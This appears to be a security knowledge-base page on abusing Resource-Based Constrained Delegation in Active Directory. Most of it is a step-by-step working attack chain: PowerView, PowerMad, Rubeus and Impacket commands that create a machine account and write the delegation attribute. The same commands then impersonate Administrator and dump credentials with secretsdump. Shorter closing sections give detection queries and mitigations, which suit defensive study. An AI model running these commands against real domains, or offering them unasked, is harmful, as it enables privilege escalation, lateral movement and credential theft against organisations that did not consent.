Resource-Based Constrained Delegation (RBCD) Abuse
ATT&CK: T1558 — Steal or Forge Kerberos Tickets
Resource-Based Constrained Delegation (RBCD) is a Kerberos delegation model where the target resource — not the service account — controls which accounts may delegate to it. If an attacker can write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on a computer object, they can make a controlled computer account delegate to it and gain local admin access.
Why RBCD Is a Significant Attack Vector
RBCD is particularly dangerous because:
- Write access to a computer object (via GenericWrite, GenericAll, or WriteDacl) is sufficient — no Domain Admin needed
- Many accounts in an AD domain have GenericWrite over other computers through misconfigured ACLs
- Any account that can create computer objects (default: all domain users can add up to 10 computers) can create a controlled machine account
Prerequisites
| Requirement | How Achieved |
|---|---|
| Controlled machine account or computer object | Create one (domain users can by default), or use an existing compromise |
Write access to target computer's msDS-AllowedToActOnBehalfOfOtherIdentity | Via ACL misconfiguration (GenericWrite, WriteDacl, GenericAll on target) |
Attack Flow
1. Controlled account: ATTACKER$ (machine account we create or control)
2. Target computer: TARGET-SERVER$ (has GenericWrite from compromised user)
3. Set: msDS-AllowedToActOnBehalfOfOtherIdentity = ATTACKER$
4. Run S4U2Self + S4U2Proxy to get a TGS for Administrator@TARGET-SERVER
5. Use ticket for local admin access on TARGET-SERVER
Exploitation Steps
Step 1: Check Who Has Write Rights on a Computer Object
# PowerView - find computers where your current user has GenericWrite
Find-InterestingDomainACL -ResolveGUIDs | Where-Object {
$_.IdentityReferenceName -eq "compromiseduser" -and
$_.ActiveDirectoryRights -match "GenericWrite|WriteDACL|GenericAll"
}
# Or find all GenericWrite targets
Get-DomainObjectACL -Identity "TARGET-SERVER$" -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "GenericWrite"
}
Step 2: Create a Controlled Machine Account
# Using PowerMad - add a computer object you control
import-module .\PowerMad.ps1
New-MachineAccount -MachineAccount "ATTACKER" -Password $(ConvertTo-SecureString "P@ssword123" -AsPlainText -Force)
# Get its SID
Get-DomainComputer "ATTACKER" | Select-Object SID
Step 3: Write RBCD Attribute to Target
# Create the security descriptor pointing to ATTACKER$
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-<domain-SID>-<ATTACKER-RID>)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
# Write to target computer's RBCD attribute
Get-DomainComputer "TARGET-SERVER" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Step 4: S4U Attack via Rubeus
# Get NTLM hash of ATTACKER$ (or use password directly)
.\Rubeus.exe hash /password:P@ssword123 /user:ATTACKER$ /domain:domain.com
# S4U2Self + S4U2Proxy: impersonate Administrator to TARGET-SERVER cifs
.\Rubeus.exe s4u /user:ATTACKER$ /rc4:<ATTACKER$-NTLM> /impersonateuser:Administrator /msdsspn:"cifs/TARGET-SERVER.domain.com" /ptt
Step 5: Access Target
dir \\TARGET-SERVER\C$
PsExec.exe \\TARGET-SERVER -accepteula cmd.exe
Impacket Version
# Create machine account
python3 addcomputer.py domain.com/compromiseduser:pass -computer-name 'ATTACKER' -computer-pass 'P@ssword123'
# Set RBCD attribute
python3 rbcd.py -f ATTACKER -t TARGET-SERVER -dc-ip 192.168.1.1 domain.com/compromiseduser:pass
# Get TGS via S4U
python3 getST.py -spn "cifs/TARGET-SERVER.domain.com" -impersonate Administrator -dc-ip 192.168.1.1 domain.com/ATTACKER:P@ssword123
# Use ticket
export KRB5CCNAME=./Administrator@cifs_TARGET-SERVER.domain.com@DOMAIN.COM.ccache
python3 secretsdump.py -k -no-pass TARGET-SERVER.domain.com
Common Entry Points
| Scenario | RBCD Impact |
|---|---|
| Owned user with GenericWrite over workstations | Local admin on those workstations |
| Owned computer object with WriteDacl on another | Local admin on that other computer |
| Exchange server in domain | Historically: EXCHANGE WINDOWS PERMISSIONS had GenericAll over all domain computers (CVE-2019-0686 pattern) |
| LAPS computer attribute misconfiguration | If ms-Mcs-AdmPwd readable by wrong group, and write to RBCD exists |
Detection
| Signal | Detection |
|---|---|
Changes to msDS-AllowedToActOnBehalfOfOtherIdentity | Event 5136 (DS object modification) with attribute name filter |
| New machine account creation followed by RBCD write | Sequence: Event 4741 (new computer) → Event 5136 on another computer |
| S4U2Proxy tickets from unexpected machine accounts | Event 4769 with unusual account → service mappings |
// Detect RBCD attribute writes
SecurityEvent
| where EventID == 5136
| where AttributeLDAPDisplayName == "msDS-AllowedToActOnBehalfOfOtherIdentity"
| project TimeGenerated, SubjectUserName, ObjectDN, OperationType
Mitigation
| Control | Effect |
|---|---|
| Audit ACLs on all computer objects | Find GenericWrite, WriteDacl, GenericAll misconfigurations |
Set ms-DS-MachineAccountQuota to 0 | Prevent non-admins from creating machine accounts |
| BloodHound regular scan | Identify RBCD attack paths before attackers do |
| Protected Users group for admins | Admin tickets cannot be delegated |
| Tiered AD model | Tier 0/1/2 isolation limits blast radius |
Cross-Links
| Topic | Link |
|---|---|
| Constrained Delegation | constrained-delegation |
| Unconstrained Delegation | unconstrained-delegation |
| ACL Abuse | acl-abuse |
| Kerberos | kerberos |